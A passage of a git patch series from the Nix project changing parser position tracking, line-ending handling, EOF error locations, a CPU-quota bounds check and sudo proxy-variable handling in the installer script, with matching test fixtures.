$$->attrs[i.symbol].pos); $$->attrs.emplace( i.symbol, ExprAttrs::AttrDef( - new ExprSelect(CUR_POS, from, i.symbol), - state->at(@6), + new ExprSelect(iPos, from, i.symbol), + iPos, ExprAttrs::AttrDef::Kind::InheritedFrom)); } delete $6; @@ -341,12 +342,12 @@ binds ; attrs - : attrs attr { $$ = $1; $1->push_back(AttrName(state->symbols.create($2))); } + : attrs attr { $$ = $1; $1->emplace_back(AttrName(state->symbols.create($2)), state->at(@2)); } | attrs string_attr { $$ = $1; ExprString * str = dynamic_cast($2); if (str) { - $$->push_back(AttrName(state->symbols.create(str->s))); + $$->emplace_back(AttrName(state->symbols.create(str->s)), state->at(@2)); delete str; } else throw ParseError({ @@ -354,7 +355,7 @@ attrs .pos = state->positions[state->at(@2)] }); } - | { $$ = new AttrPath; } + | { $$ = new std::vector>; } ; attrpath diff --git a/tests/functional/lang/eval-okay-inherit-attr-pos.exp b/tests/functional/lang/eval-okay-inherit-attr-pos.exp new file mode 100644 index 000000000..e87d037c6 --- /dev/null +++ b/tests/functional/lang/eval-okay-inherit-attr-pos.exp @@ -0,0 +1 @@ +[ { column = 17; file = "/pwd/lang/eval-okay-inherit-attr-pos.nix"; line = 4; } { column = 19; file = "/pwd/lang/eval-okay-inherit-attr-pos.nix"; line = 4; } { column = 21; file = "/pwd/lang/eval-okay-inherit-attr-pos.nix"; line = 5; } { column = 23; file = "/pwd/lang/eval-okay-inherit-attr-pos.nix"; line = 5; } ] diff --git a/tests/functional/lang/eval-okay-inherit-attr-pos.nix b/tests/functional/lang/eval-okay-inherit-attr-pos.nix new file mode 100644 index 000000000..017ab1d36 --- /dev/null +++ b/tests/functional/lang/eval-okay-inherit-attr-pos.nix @@ -0,0 +1,12 @@ +let + d = 0; + x = 1; + y = { inherit d x; }; + z = { inherit (y) d x; }; +in + [ + (builtins.unsafeGetAttrPos "d" y) + (builtins.unsafeGetAttrPos "x" y) + (builtins.unsafeGetAttrPos "d" z) + (builtins.unsafeGetAttrPos "x" z) + ] diff --git a/tests/functional/lang/parse-fail-dup-attrs-2.err.exp b/tests/functional/lang/parse-fail-dup-attrs-2.err.exp index 4607a5d59..3105e60de 100644 --- a/tests/functional/lang/parse-fail-dup-attrs-2.err.exp +++ b/tests/functional/lang/parse-fail-dup-attrs-2.err.exp @@ -1,6 +1,6 @@ error: attribute 'x' already defined at «stdin»:9:5 - at «stdin»:10:17: + at «stdin»:10:18: 9| x = 789; 10| inherit (as) x; - | ^ + | ^ 11| }; diff --git a/tests/functional/lang/parse-fail-dup-attrs-3.err.exp b/tests/functional/lang/parse-fail-dup-attrs-3.err.exp index 4607a5d59..3105e60de 100644 --- a/tests/functional/lang/parse-fail-dup-attrs-3.err.exp +++ b/tests/functional/lang/parse-fail-dup-attrs-3.err.exp @@ -1,6 +1,6 @@ error: attribute 'x' already defined at «stdin»:9:5 - at «stdin»:10:17: + at «stdin»:10:18: 9| x = 789; 10| inherit (as) x; - | ^ + | ^ 11| }; diff --git a/tests/functional/lang/parse-fail-dup-attrs-7.err.exp b/tests/functional/lang/parse-fail-dup-attrs-7.err.exp index 2daddf380..4e0a48eff 100644 --- a/tests/functional/lang/parse-fail-dup-attrs-7.err.exp +++ b/tests/functional/lang/parse-fail-dup-attrs-7.err.exp @@ -1,6 +1,6 @@ -error: attribute 'x' already defined at «stdin»:6:12 - at «stdin»:7:12: +error: attribute 'x' already defined at «stdin»:6:13 + at «stdin»:7:13: 6| inherit x; 7| inherit x; - | ^ + | ^ 8| }; diff --git a/tests/functional/lang/parse-fail-regression-20060610.err.exp b/tests/functional/lang/parse-fail-regression-20060610.err.exp index d8875a6a5..6ae7c01bf 100644 --- a/tests/functional/lang/parse-fail-regression-20060610.err.exp +++ b/tests/functional/lang/parse-fail-regression-20060610.err.exp @@ -1,6 +1,6 @@ error: undefined variable 'gcc' - at «stdin»:8:12: - 7| + at «stdin»:9:13: 8| body = ({ - | ^ 9| inherit gcc; + | ^ + 10| }).gcc; From 2be6b143289e5479cc4a2667bb84e879116c2447 Mon Sep 17 00:00:00 2001 From: pennae Date: Mon, 29 Jan 2024 06:19:23 +0100 Subject: [PATCH 0191/1251] match line endings used by parser and error reports the parser treats a plain \r as a newline, error reports do not. this can lead to interesting divergences if anything makes use of this feature, with error reports pointing to wrong locations in the input (or even outside the input altogether). --- src/libutil/position.cc | 55 +++++++++++-------- src/libutil/position.hh | 42 ++++++++++++++ tests/functional/lang/eval-fail-eol-1.err.exp | 6 ++ tests/functional/lang/eval-fail-eol-1.nix | 3 + tests/functional/lang/eval-fail-eol-2.err.exp | 6 ++ tests/functional/lang/eval-fail-eol-2.nix | 2 + tests/functional/lang/eval-fail-eol-3.err.exp | 6 ++ tests/functional/lang/eval-fail-eol-3.nix | 3 + 8 files changed, 99 insertions(+), 24 deletions(-) create mode 100644 tests/functional/lang/eval-fail-eol-1.err.exp create mode 100644 tests/functional/lang/eval-fail-eol-1.nix create mode 100644 tests/functional/lang/eval-fail-eol-2.err.exp create mode 100644 tests/functional/lang/eval-fail-eol-2.nix create mode 100644 tests/functional/lang/eval-fail-eol-3.err.exp create mode 100644 tests/functional/lang/eval-fail-eol-3.nix diff --git a/src/libutil/position.cc b/src/libutil/position.cc index b39a5a1d4..724e560b7 100644 --- a/src/libutil/position.cc +++ b/src/libutil/position.cc @@ -29,32 +29,17 @@ std::optional Pos::getCodeLines() const return std::nullopt; if (auto source = getSource()) { - - std::istringstream iss(*source); - // count the newlines. - int count = 0; - std::string curLine; - int pl = line - 1; - + LinesIterator lines(*source), end; LinesOfCode loc; - do { - std::getline(iss, curLine); - ++count; - if (count < pl) - ; - else if (count == pl) { - loc.prevLineOfCode = curLine; - } else if (count == pl + 1) { - loc.errLineOfCode = curLine; - } else if (count == pl + 2) { - loc.nextLineOfCode = curLine; - break; - } - - if (!iss.good()) - break; - } while (true); + if (line > 1) + std::advance(lines, line - 2); + if (lines != end && line > 1) + loc.prevLineOfCode = *lines++; + if (lines != end) + loc.errLineOfCode = *lines++; + if (lines != end) + loc.nextLineOfCode = *lines++; return loc; } @@ -109,4 +94,26 @@ std::ostream & operator<<(std::ostream & str, const Pos & pos) return str; } +void Pos::LinesIterator::bump(bool atFirst) +{ + if (!atFirst) { + pastEnd = input.empty(); + if (!input.empty() && input[0] == '\r') + input.remove_prefix(1); + if (!input.empty() && input[0] == '\n') + input.remove_prefix(1); + } + + // nix line endings are not only \n as eg std::getline assumes, but also + // \r\n **and \r alone**. not treating them all the same causes error + // reports to not match with line numbers as the parser expects them. + auto eol = input.find_first_of("\r\n"); + + if (eol > input.size()) + eol = input.size(); + + curLine = input.substr(0, eol); + input.remove_prefix(eol); +} + } diff --git a/src/libutil/position.hh b/src/libutil/position.hh index a184997ed..9bdf3b4b5 100644 --- a/src/libutil/position.hh +++ b/src/libutil/position.hh @@ -67,6 +67,48 @@ struct Pos bool operator==(const Pos & rhs) const = default; bool operator!=(const Pos & rhs) const = default; bool operator<(const Pos & rhs) const; + + struct LinesIterator { + using difference_type = size_t; + using value_type = std::string_view; + using reference = const std::string_view &; + using pointer = const std::string_view *; + using iterator_category = std::input_iterator_tag; + + LinesIterator(): pastEnd(true) {} + explicit LinesIterator(std::string_view input): input(input), pastEnd(input.empty()) { + if (!pastEnd) + bump(true); + } + + LinesIterator & operator++() { + bump(false); + return *this; + } + LinesIterator operator++(int) { + auto result = *this; + ++*this; + return result; + } + + reference operator*() const { return curLine; } + pointer operator->() const { return &curLine; } + + bool operator!=(const LinesIterator & other) const { + return !(*this == other); + } + bool operator==(const LinesIterator & other) const { + return (pastEnd && other.pastEnd) + || (std::forward_as_tuple(input.size(), input.data()) + == std::forward_as_tuple(other.input.size(), other.input.data())); + } + + private: + std::string_view input, curLine; + bool pastEnd = false; + + void bump(bool atFirst); + }; }; std::ostream & operator<<(std::ostream & str, const Pos & pos); diff --git a/tests/functional/lang/eval-fail-eol-1.err.exp b/tests/functional/lang/eval-fail-eol-1.err.exp new file mode 100644 index 000000000..3f5a5c22c --- /dev/null +++ b/tests/functional/lang/eval-fail-eol-1.err.exp @@ -0,0 +1,6 @@ +error: undefined variable 'invalid' + at /pwd/lang/eval-fail-eol-1.nix:2:1: + 1| # foo + 2| invalid + | ^ + 3| # bar diff --git a/tests/functional/lang/eval-fail-eol-1.nix b/tests/functional/lang/eval-fail-eol-1.nix new file mode 100644 index 000000000..476223919 --- /dev/null +++ b/tests/functional/lang/eval-fail-eol-1.nix @@ -0,0 +1,3 @@ +# foo +invalid +# bar diff --git a/tests/functional/lang/eval-fail-eol-2.err.exp b/tests/functional/lang/eval-fail-eol-2.err.exp new file mode 100644 index 000000000..ff13e2d55 --- /dev/null +++ b/tests/functional/lang/eval-fail-eol-2.err.exp @@ -0,0 +1,6 @@ +error: undefined variable 'invalid' + at /pwd/lang/eval-fail-eol-2.nix:2:1: + 1| # foo + 2| invalid + | ^ + 3| # bar diff --git a/tests/functional/lang/eval-fail-eol-2.nix b/tests/functional/lang/eval-fail-eol-2.nix new file mode 100644 index 000000000..0cf92a425 --- /dev/null +++ b/tests/functional/lang/eval-fail-eol-2.nix @@ -0,0 +1,2 @@ +# foo invalid +# bar diff --git a/tests/functional/lang/eval-fail-eol-3.err.exp b/tests/functional/lang/eval-fail-eol-3.err.exp new file mode 100644 index 000000000..ada3c5ecd --- /dev/null +++ b/tests/functional/lang/eval-fail-eol-3.err.exp @@ -0,0 +1,6 @@ +error: undefined variable 'invalid' + at /pwd/lang/eval-fail-eol-3.nix:2:1: + 1| # foo + 2| invalid + | ^ + 3| # bar diff --git a/tests/functional/lang/eval-fail-eol-3.nix b/tests/functional/lang/eval-fail-eol-3.nix new file mode 100644 index 000000000..33422452d --- /dev/null +++ b/tests/functional/lang/eval-fail-eol-3.nix @@ -0,0 +1,3 @@ +# foo +invalid +# bar From 855fd5a1bb781e4f722c1d757ba43e866d370132 Mon Sep 17 00:00:00 2001 From: pennae Date: Mon, 29 Jan 2024 06:19:23 +0100 Subject: [PATCH 0192/1251] diagnose "unexpected EOF" at EOF this needs a string comparison because there seems to be no other way to get that information out of bison. usually the location info is going to be correct (pointing at a bad token), but since EOF isn't a token as such it'll be wrong in that this case. this hasn't shown up much so far because a single line ending *is* a token, so any file formatted in the usual manner (ie, ending in a line ending) would have its EOF position reported correctly. --- src/libexpr/parser.y | 4 ++++ tests/functional/lang/parse-fail-eof-in-string.err.exp | 4 ++-- tests/functional/lang/parse-fail-eof-pos.err.exp | 5 +++++ tests/functional/lang/parse-fail-eof-pos.nix | 2 ++ 4 files changed, 13 insertions(+), 2 deletions(-) create mode 100644 tests/functional/lang/parse-fail-eof-pos.err.exp create mode 100644 tests/functional/lang/parse-fail-eof-pos.nix diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y index 9a543d636..59f088d53 100644 --- a/src/libexpr/parser.y +++ b/src/libexpr/parser.y @@ -64,6 +64,10 @@ using namespace nix; void yyerror(YYLTYPE * loc, yyscan_t scanner, ParserState * state, const char * error) { + if (std::string_view(error).starts_with("syntax error, unexpected end of file")) { + loc->first_column = loc->last_column; + loc->first_line = loc->last_line; + } throw ParseError({ .msg = HintFmt(error), .pos = state->positions[state->at(*loc)] diff --git a/tests/functional/lang/parse-fail-eof-in-string.err.exp b/tests/functional/lang/parse-fail-eof-in-string.err.exp index b28d35950..17f34b62d 100644 --- a/tests/functional/lang/parse-fail-eof-in-string.err.exp +++ b/tests/functional/lang/parse-fail-eof-in-string.err.exp @@ -1,5 +1,5 @@ error: syntax error, unexpected end of file, expecting '"' - at «stdin»:3:5: + at «stdin»:3:6: 2| # Note that this file must not end with a newline. 3| a 1"$ - | ^ + | ^ diff --git a/tests/functional/lang/parse-fail-eof-pos.err.exp b/tests/functional/lang/parse-fail-eof-pos.err.exp new file mode 100644 index 000000000..ef9ca381c --- /dev/null +++ b/tests/functional/lang/parse-fail-eof-pos.err.exp @@ -0,0 +1,5 @@ +error: syntax error, unexpected end of file + at «stdin»:3:1: + 2| # no content + 3| + | ^ diff --git a/tests/functional/lang/parse-fail-eof-pos.nix b/tests/functional/lang/parse-fail-eof-pos.nix new file mode 100644 index 000000000..bd66a2c98 --- /dev/null +++ b/tests/functional/lang/parse-fail-eof-pos.nix @@ -0,0 +1,2 @@ +( +# no content From 5d9fdab3de0ee17c71369ad05806b9ea06dfceda Mon Sep 17 00:00:00 2001 From: pennae Date: Mon, 29 Jan 2024 06:19:23 +0100 Subject: [PATCH 0193/1251] use byte indexed locations for PosIdx we now keep not a table of all positions, but a table of all origins and their sizes. position indices are now direct pointers into the virtual concatenation of all parsed contents. this slightly reduces memory usage and time spent in the parser, at the cost of not being able to report positions if the total input size exceeds 4GiB. this limit is not unique to nix though, rustc and clang also limit their input to 4GiB (although at least clang refuses to process inputs that are larger, we will not). this new 4GiB limit probably will not cause any problems for quite a while, all of nixpkgs together is less than 100MiB in size and already needs over 700MiB of memory and multiple seconds just to parse. 4GiB worth of input will easily take multiple minutes and over 30GiB of memory without even evaluating anything. if problems *do* arise we can probably recover the old table-based system by adding some tracking to Pos::Origin (or increasing the size of PosIdx outright), but for time being this looks like more complexity than it's worth. since we now need to read the entire input again to determine the line/column of a position we'll make unsafeGetAttrPos slightly lazy: mostly the set it returns is only used to determine the file of origin of an attribute, not its exact location. the thunks do not add measurable runtime overhead. notably this change is necessary to allow changing the parser since apparently nothing supports nix's very idiosyncratic line ending choice of "anything goes", making it very hard to calculate line/column positions in the parser (while byte offsets are very easy). --- src/libexpr/eval.cc | 7 +-- src/libexpr/flake/flake.cc | 3 +- src/libexpr/lexer.l | 23 +------- src/libexpr/nixexpr.cc | 33 +++++++++++ src/libexpr/nixexpr.hh | 1 - src/libexpr/parser-state.hh | 9 +-- src/libexpr/parser.y | 2 +- src/libexpr/pos-idx.hh | 1 + src/libexpr/pos-table.hh | 92 ++++++++++++++++--------------- src/libexpr/primops.cc | 48 ++++++++++++++++ src/libexpr/primops.hh | 2 + tests/unit/libexpr/primops.cc | 6 +- tests/unit/libexpr/value/print.cc | 8 +-- 13 files changed, 150 insertions(+), 85 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 3d22723b3..bbccfcd29 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -949,12 +949,11 @@ void EvalState::mkThunk_(Value & v, Expr * expr) void EvalState::mkPos(Value & v, PosIdx p) { - auto pos = positions[p]; - if (auto path = std::get_if(&pos.origin)) { + auto origin = positions.originOf(p); + if (auto path = std::get_if(&origin)) { auto attrs = buildBindings(3); attrs.alloc(sFile).mkString(path->path.abs()); - attrs.alloc(sLine).mkInt(pos.line); - attrs.alloc(sColumn).mkInt(pos.column); + makePositionThunks(*this, p, attrs.alloc(sLine), attrs.alloc(sColumn)); v.mkAttrs(attrs); } else v.mkNull(); diff --git a/src/libexpr/flake/flake.cc b/src/libexpr/flake/flake.cc index fd9341504..dd8924859 100644 --- a/src/libexpr/flake/flake.cc +++ b/src/libexpr/flake/flake.cc @@ -212,11 +212,10 @@ static Flake readFlake( { auto flakePath = rootDir / CanonPath(resolvedRef.subdir) / "flake.nix"; + // NOTE evalFile forces vInfo to be an attrset because mustBeTrivial is true. Value vInfo; state.evalFile(flakePath, vInfo, true); - expectType(state, nAttrs, vInfo, state.positions.add(Pos::Origin(rootDir), 1, 1)); - Flake flake { .originalRef = originalRef, .resolvedRef = resolvedRef, diff --git a/src/libexpr/lexer.l b/src/libexpr/lexer.l index 5b26d6927..ee2b6b807 100644 --- a/src/libexpr/lexer.l +++ b/src/libexpr/lexer.l @@ -33,33 +33,16 @@ namespace nix { static void initLoc(YYLTYPE * loc) { - loc->first_line = loc->last_line = 1; - loc->first_column = loc->last_column = 1; + loc->first_line = loc->last_line = 0; + loc->first_column = loc->last_column = 0; } static void adjustLoc(YYLTYPE * loc, const char * s, size_t len) { loc->stash(); - loc->first_line = loc->last_line; loc->first_column = loc->last_column; - - for (size_t i = 0; i < len; i++) { - switch (*s++) { - case '\r': - if (*s == '\n') { /* cr/lf */ - i++; - s++; - } - /* fall through */ - case '\n': - ++loc->last_line; - loc->last_column = 1; - break; - default: - ++loc->last_column; - } - } + loc->last_column += len; } diff --git a/src/libexpr/nixexpr.cc b/src/libexpr/nixexpr.cc index 9a8b9616b..5bdc466eb 100644 --- a/src/libexpr/nixexpr.cc +++ b/src/libexpr/nixexpr.cc @@ -583,6 +583,39 @@ std::string ExprLambda::showNamePos(const EvalState & state) const +/* Position table. */ + +Pos PosTable::operator[](PosIdx p) const +{ + auto origin = resolve(p); + if (!origin) + return {}; + + const auto offset = origin->offsetOf(p); + + Pos result{0, 0, origin->origin}; + auto lines = this->lines.lock(); + auto linesForInput = (*lines)[origin->offset]; + + if (linesForInput.empty()) { + auto source = result.getSource().value_or(""); + const char * begin = source.data(); + for (Pos::LinesIterator it(source), end; it != end; it++) + linesForInput.push_back(it->data() - begin); + if (linesForInput.empty()) + linesForInput.push_back(0); + } + // as above: the first line starts at byte 0 and is always present + auto lineStartOffset = std::prev( + std::upper_bound(linesForInput.begin(), linesForInput.end(), offset)); + + result.line = 1 + (lineStartOffset - linesForInput.begin()); + result.column = 1 + (offset - *lineStartOffset); + return result; +} + + + /* Symbol table. */ size_t SymbolTable::totalSize() const diff --git a/src/libexpr/nixexpr.hh b/src/libexpr/nixexpr.hh index 94356759b..e3cae8385 100644 --- a/src/libexpr/nixexpr.hh +++ b/src/libexpr/nixexpr.hh @@ -7,7 +7,6 @@ #include "value.hh" #include "symbol-table.hh" #include "error.hh" -#include "chunked-vector.hh" #include "position.hh" #include "eval-error.hh" #include "pos-idx.hh" diff --git a/src/libexpr/parser-state.hh b/src/libexpr/parser-state.hh index 34aef661f..024e79c43 100644 --- a/src/libexpr/parser-state.hh +++ b/src/libexpr/parser-state.hh @@ -24,20 +24,15 @@ struct ParserLocation int last_line, last_column; // backup to recover from yyless(0) - int stashed_first_line, stashed_first_column; - int stashed_last_line, stashed_last_column; + int stashed_first_column, stashed_last_column; void stash() { - stashed_first_line = first_line; stashed_first_column = first_column; - stashed_last_line = last_line; stashed_last_column = last_column; } void unstash() { - first_line = stashed_first_line; first_column = stashed_first_column; - last_line = stashed_last_line; last_column = stashed_last_column; } }; @@ -276,7 +271,7 @@ inline Expr * ParserState::stripIndentation(const PosIdx pos, inline PosIdx ParserState::at(const ParserLocation & loc) { - return positions.add(origin, loc.first_line, loc.first_column); + return positions.add(origin, loc.first_column); } } diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y index 59f088d53..bff066170 100644 --- a/src/libexpr/parser.y +++ b/src/libexpr/parser.y @@ -438,7 +438,7 @@ Expr * parseExprFromBuf( .symbols = symbols, .positions = positions, .basePath = basePath, - .origin = {origin}, + .origin = positions.addOrigin(origin, length), .rootFS = rootFS, .s = astSymbols, }; diff --git a/src/libexpr/pos-idx.hh b/src/libexpr/pos-idx.hh index 9949f1dc5..e94fd85c6 100644 --- a/src/libexpr/pos-idx.hh +++ b/src/libexpr/pos-idx.hh @@ -6,6 +6,7 @@ namespace nix { class PosIdx { + friend struct LazyPosAcessors; friend class PosTable; private: diff --git a/src/libexpr/pos-table.hh b/src/libexpr/pos-table.hh index 1decf3c85..8a0a3ba86 100644 --- a/src/libexpr/pos-table.hh +++ b/src/libexpr/pos-table.hh @@ -7,6 +7,7 @@ #include "chunked-vector.hh" #include "pos-idx.hh" #include "position.hh" +#include "sync.hh" namespace nix { @@ -17,66 +18,69 @@ public: { friend PosTable; private: - // must always be invalid by default, add() replaces this with the actual value. - // subsequent add() calls use this index as a token to quickly check whether the - // current origins.back() can be reused or not. - mutable uint32_t idx = std::numeric_limits::max(); + uint32_t offset; - // Used for searching in PosTable::[]. - explicit Origin(uint32_t idx) - : idx(idx) - , origin{std::monostate()} - { - } + Origin(Pos::Origin origin, uint32_t offset, size_t size): + offset(offset), origin(origin), size(size) + {} public: const Pos::Origin origin; + const size_t size; - Origin(Pos::Origin origin) - : origin(origin) + uint32_t offsetOf(PosIdx p) const { + return p.id - 1 - offset; } }; - struct Offset - { - uint32_t line, column; - }; - private: - std::vector origins; - ChunkedVector offsets; + using Lines = std::vector; -public: - PosTable() - : offsets(1024) - { - origins.reserve(1024); - } + std::map origins; + mutable Sync> lines; - PosIdx add(const Origin & origin, uint32_t line, uint32_t column) + const Origin * resolve(PosIdx p) const { - const auto idx = offsets.add({line, column}).second; - if (origins.empty() || origins.back().idx != origin.idx) { - origin.idx = idx; - origins.push_back(origin); - } - return PosIdx(idx + 1); - } + if (p.id == 0) + return nullptr; - Pos operator[](PosIdx p) const - { - if (p.id == 0 || p.id > offsets.size()) - return {}; const auto idx = p.id - 1; /* we want the last key <= idx, so we'll take prev(first key > idx). - this is guaranteed to never rewind origin.begin because the first - key is always 0. */ - const auto pastOrigin = std::upper_bound( - origins.begin(), origins.end(), Origin(idx), [](const auto & a, const auto & b) { return a.idx < b.idx; }); - const auto origin = *std::prev(pastOrigin); - const auto offset = offsets[idx]; - return {offset.line, offset.column, origin.origin}; + this is guaranteed to never rewind origin.begin because the first + key is always 0. */ + const auto pastOrigin = origins.upper_bound(idx); + return &std::prev(pastOrigin)->second; + } + +public: + Origin addOrigin(Pos::Origin origin, size_t size) + { + uint32_t offset = 0; + if (auto it = origins.rbegin(); it != origins.rend()) + offset = it->first + it->second.size; + // +1 because all PosIdx are offset by 1 to begin with, and + // another +1 to ensure that all origins can point to EOF, eg + // on (invalid) empty inputs. + if (2 + offset + size < offset) + return Origin{origin, offset, 0}; + return origins.emplace(offset, Origin{origin, offset, size}).first->second; + } + + PosIdx add(const Origin & origin, size_t offset) + { + if (offset > origin.size) + return PosIdx(); + return PosIdx(1 + origin.offset + offset); + } + + Pos operator[](PosIdx p) const; + + Pos::Origin originOf(PosIdx p) const + { + if (auto o = resolve(p)) + return o->origin; + return std::monostate{}; } }; diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 78f7f71ed..a7687fa06 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -2524,6 +2524,54 @@ static RegisterPrimOp primop_unsafeGetAttrPos(PrimOp { .fun = prim_unsafeGetAttrPos, }); +// access to exact position information (ie, line and colum numbers) is deferred +// due to the cost associated with calculating that information and how rarely +// it is used in practice. this is achieved by creating thunks to otherwise +// inaccessible primops that are not exposed as __op or under builtins to turn +// the internal PosIdx back into a line and column number, respectively. exposing +// these primops in any way would at best be not useful and at worst create wildly +// indeterministic eval results depending on parse order of files. +// +// in a simpler world this would instead be implemented as another kind of thunk, +// but each type of thunk has an associated runtime cost in the current evaluator. +// as with black holes this cost is too high to justify another thunk type to check +// for in the very hot path that is forceValue. +static struct LazyPosAcessors { + PrimOp primop_lineOfPos{ + .arity = 1, + .fun = [] (EvalState & state, PosIdx pos, Value * * args, Value & v) { + v.mkInt(state.positions[PosIdx(args[0]->integer)].line); + } + }; + PrimOp primop_columnOfPos{ + .arity = 1, + .fun = [] (EvalState & state, PosIdx pos, Value * * args, Value & v) { + v.mkInt(state.positions[PosIdx(args[0]->integer)].column); + } + }; + + Value lineOfPos, columnOfPos; + + LazyPosAcessors() + { + lineOfPos.mkPrimOp(&primop_lineOfPos); + columnOfPos.mkPrimOp(&primop_columnOfPos); + } + + void operator()(EvalState & state, const PosIdx pos, Value & line, Value & column) + { + Value * posV = state.allocValue(); + posV->mkInt(pos.id); + line.mkApp(&lineOfPos, posV); + column.mkApp(&columnOfPos, posV); + } +} makeLazyPosAccessors; + +void makePositionThunks(EvalState & state, const PosIdx pos, Value & line, Value & column) +{ + makeLazyPosAccessors(state, pos, line, column); +} + /* Dynamic version of the `?' operator. */ static void prim_hasAttr(EvalState & state, const PosIdx pos, Value * * args, Value & v) { diff --git a/src/libexpr/primops.hh b/src/libexpr/primops.hh index 45486608f..9f76975db 100644 --- a/src/libexpr/primops.hh +++ b/src/libexpr/primops.hh @@ -51,4 +51,6 @@ void prim_importNative(EvalState & state, const PosIdx pos, Value * * args, Valu */ void prim_exec(EvalState & state, const PosIdx pos, Value * * args, Value & v); +void makePositionThunks(EvalState & state, const PosIdx pos, Value & line, Value & column); + } diff --git a/tests/unit/libexpr/primops.cc b/tests/unit/libexpr/primops.cc index 6d7649b3c..b1426edae 100644 --- a/tests/unit/libexpr/primops.cc +++ b/tests/unit/libexpr/primops.cc @@ -151,7 +151,7 @@ namespace nix { } TEST_F(PrimOpTest, unsafeGetAttrPos) { - state.corepkgsFS->addFile(CanonPath("foo.nix"), "{ y = \"x\"; }"); + state.corepkgsFS->addFile(CanonPath("foo.nix"), "\n\r\n\r{ y = \"x\"; }"); auto expr = "builtins.unsafeGetAttrPos \"y\" (import )"; auto v = eval(expr); @@ -165,10 +165,12 @@ namespace nix { auto line = v.attrs->find(createSymbol("line")); ASSERT_NE(line, nullptr); - ASSERT_THAT(*line->value, IsIntEq(1)); + state.forceValue(*line->value, noPos); + ASSERT_THAT(*line->value, IsIntEq(4)); auto column = v.attrs->find(createSymbol("column")); ASSERT_NE(column, nullptr); + state.forceValue(*column->value, noPos); ASSERT_THAT(*column->value, IsIntEq(3)); } diff --git a/tests/unit/libexpr/value/print.cc b/tests/unit/libexpr/value/print.cc index aabf156c2..d2d699a64 100644 --- a/tests/unit/libexpr/value/print.cc +++ b/tests/unit/libexpr/value/print.cc @@ -110,8 +110,8 @@ TEST_F(ValuePrintingTests, vLambda) .up = nullptr, .values = { } }; - PosTable::Origin origin((std::monostate())); - auto posIdx = state.positions.add(origin, 1, 1); + PosTable::Origin origin = state.positions.addOrigin(std::monostate(), 1); + auto posIdx = state.positions.add(origin, 0); auto body = ExprInt(0); auto formals = Formals {}; @@ -558,8 +558,8 @@ TEST_F(ValuePrintingTests, ansiColorsLambda) .up = nullptr, .values = { } }; - PosTable::Origin origin((std::monostate())); - auto posIdx = state.positions.add(origin, 1, 1); + PosTable::Origin origin = state.positions.addOrigin(std::monostate(), 1); + auto posIdx = state.positions.add(origin, 0); auto body = ExprInt(0); auto formals = Formals {}; From e4500e539eae64a79ed5309a9c48475edae96218 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 7 Mar 2024 00:02:21 +0100 Subject: [PATCH 0194/1251] doc/glossary: Fix file system object anchor It was stealing the store object id. Browsers pick the first one. It was confusing. --- doc/manual/src/glossary.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/glossary.md b/doc/manual/src/glossary.md index a71b2e2b3..c4d9c2a52 100644 --- a/doc/manual/src/glossary.md +++ b/doc/manual/src/glossary.md @@ -86,7 +86,7 @@ [store path]: #gloss-store-path -- [file system object]{#gloss-store-object} +- [file system object]{#gloss-file-system-object} The Nix data model for representing simplified file system data. From 9c64a09c709e3f995d7f24cdd5a69435c08488fc Mon Sep 17 00:00:00 2001 From: Jade Lovelace Date: Wed, 6 Mar 2024 20:52:58 -0800 Subject: [PATCH 0195/1251] fix: bounds check result in getMaxCPU Fixes https://github.com/NixOS/nix/issues/9725 --- src/libutil/current-process.cc | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/src/libutil/current-process.cc b/src/libutil/current-process.cc index 47aa137d8..f80f43ef0 100644 --- a/src/libutil/current-process.cc +++ b/src/libutil/current-process.cc @@ -38,6 +38,11 @@ unsigned int getMaxCPU() auto cpuMax = readFile(cpuFile); auto cpuMaxParts = tokenizeString>(cpuMax, " \n"); + + if (cpuMaxParts.size() != 2) { + return 0; + } + auto quota = cpuMaxParts[0]; auto period = cpuMaxParts[1]; if (quota != "max") From 739f53aca4f7971165150b910061903c7d015ca6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Thu, 7 Mar 2024 08:52:43 +0100 Subject: [PATCH 0196/1251] Revert "Fix sudo in the darwin installer (#10128)" This reverts commit 686405ef416955621a89815e07cb64e1ee4f1495. --- scripts/install-multi-user.sh | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/scripts/install-multi-user.sh b/scripts/install-multi-user.sh index 4d6a1914e..1dbb93bf9 100644 --- a/scripts/install-multi-user.sh +++ b/scripts/install-multi-user.sh @@ -69,17 +69,16 @@ readonly PROXY_ENVIRONMENT_VARIABLES=( NO_PROXY ) -SUDO_KEPT_ENVIRONMENT_VARIABLES="" +SUDO_EXTRA_ENVIRONMENT_VARIABLES=() setup_sudo_extra_environment_variables() { + local i=${#SUDO_EXTRA_ENVIRONMENT_VARIABLES[@]} for variable in "${PROXY_ENVIRONMENT_VARIABLES[@]}"; do if [ "x${!variable:-}" != "x" ]; then - SUDO_KEPT_ENVIRONMENT_VARIABLES="$SUDO_KEPT_ENVIRONMENT_VARIABLES,$variable" + SUDO_EXTRA_ENVIRONMENT_VARIABLES[i]="$variable=${!variable}" + i=$((i + 1)) fi done - - # Required by the darwin installer - export SUDO_KEPT_ENVIRONMENT_VARIABLES } setup_sudo_extra_environment_variables @@ -387,7 +386,7 @@ _sudo() { if is_root; then env "$@" else - sudo --preserve-env="$SUDO_KEPT_ENVIRONMENT_VARIABLES" "$@" + sudo "${SUDO_EXTRA_ENVIRONMENT_VARIABLES[@]}" "$@" fi } From f175b3a4b755d1955787d66bbf8e2ee483f2b192 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Thu, 7 Mar 2024 08:53:14 +0100 Subject: [PATCH 0197/1251] Revert "`install-multi-user.sh`: `_sudo`: add proxy variables to sudo" This reverts commit 24fd7e2755bed3a854f8089c2db2fed89eb07f56. --- scripts/install-multi-user.sh | 27 +-------------------------- 1 file changed, 1 insertion(+), 26 deletions(-) diff --git a/scripts/install-multi-user.sh b/scripts/install-multi-user.sh index 